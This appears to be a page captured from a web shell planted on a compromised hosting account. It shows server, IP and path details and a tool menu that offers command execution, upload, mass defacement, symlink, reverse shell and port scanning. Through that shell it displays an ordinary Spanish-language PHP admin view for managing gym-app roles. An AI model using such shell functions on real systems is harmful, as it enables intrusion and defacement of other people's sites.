Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
roles
/
Viewing: index.php
<?= $this->extend('layout/app'); ?> <?php $this->section('title'); ?> Roles <?php $this->endSection(); ?> <?php $this->section('css'); ?> <!-- Aquí puedes incluir CSS adicional si lo necesitas --> <?php $this->endSection(); ?> <?php $this->section('content'); ?> <div class="app-title"> <div> <h1><i class="bi bi-shield-lock"></i> Roles</h1> <p>Listado de roles</p> </div> <ul class="app-breadcrumb breadcrumb"> <li class="breadcrumb-item"><i class="bi bi-house-door fs-6"></i></li> <li class="breadcrumb-item"><a href="<?= base_url('admin'); ?>">Admin</a></li> <li class="breadcrumb-item"><a href="#">Roles</a></li> </ul> </div> <?php if (has_permission('Roles:crear')) { ?> <div class="text-end"> <a class="btn btn-primary mb-2" href="<?= base_url('admin/roles/new'); ?>">Nuevo Rol</a> </div> <?php } ?> <?php if (session()->getFlashdata('message')): ?> <div class="alert alert-success alert-dismissible fade show" role="alert"> <?= session()->getFlashdata('message') ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <div class="card"> <div class="card-body"> <div class="table-responsive"> <?php if (empty($roles)): ?> <div class="alert alert-info" role="alert"> <i class="bi bi-info-circle"></i> No hay roles registrados. </div> <?php else: ?> <table class="table table-bordered"> <thead> <tr> <th>Nombre</th> <th>Permisos</th> <th>Acciones</th> </tr> </thead> <tbody> <?php foreach ($roles as $role): ?> <tr> <td><?= esc($role['name']) ?></td> <td> <ul class="mb-0"> <?php foreach (json_decode($role['permisos'] ?? '[]') as $perm): ?> <li><?= esc($perm) ?></li> <?php endforeach; ?> </ul> </td> <td> <a href="<?= base_url('admin/roles/' . $role['id'] . '/edit') ?>" class="btn btn-sm btn-warning">Editar</a> <form method="post" action="<?= base_url('admin/roles/' . $role['id']) ?>" style="display:inline;"> <?= csrf_field() ?> <input type="hidden" name="_method" value="DELETE"> <button type="submit" class="btn btn-sm btn-danger" onclick="return confirm('¿Está seguro de eliminar este rol?')">Eliminar</button> </form> </td> </tr> <?php endforeach ?> </tbody> </table> <?php endif; ?> </div> </div> </div> <?php $this->endSection(); ?> <?php $this->section('js'); ?> <!-- Scripts adicionales si los necesitas --> <?php $this->endSection(); ?>
Coded With 💗 by
0x6ick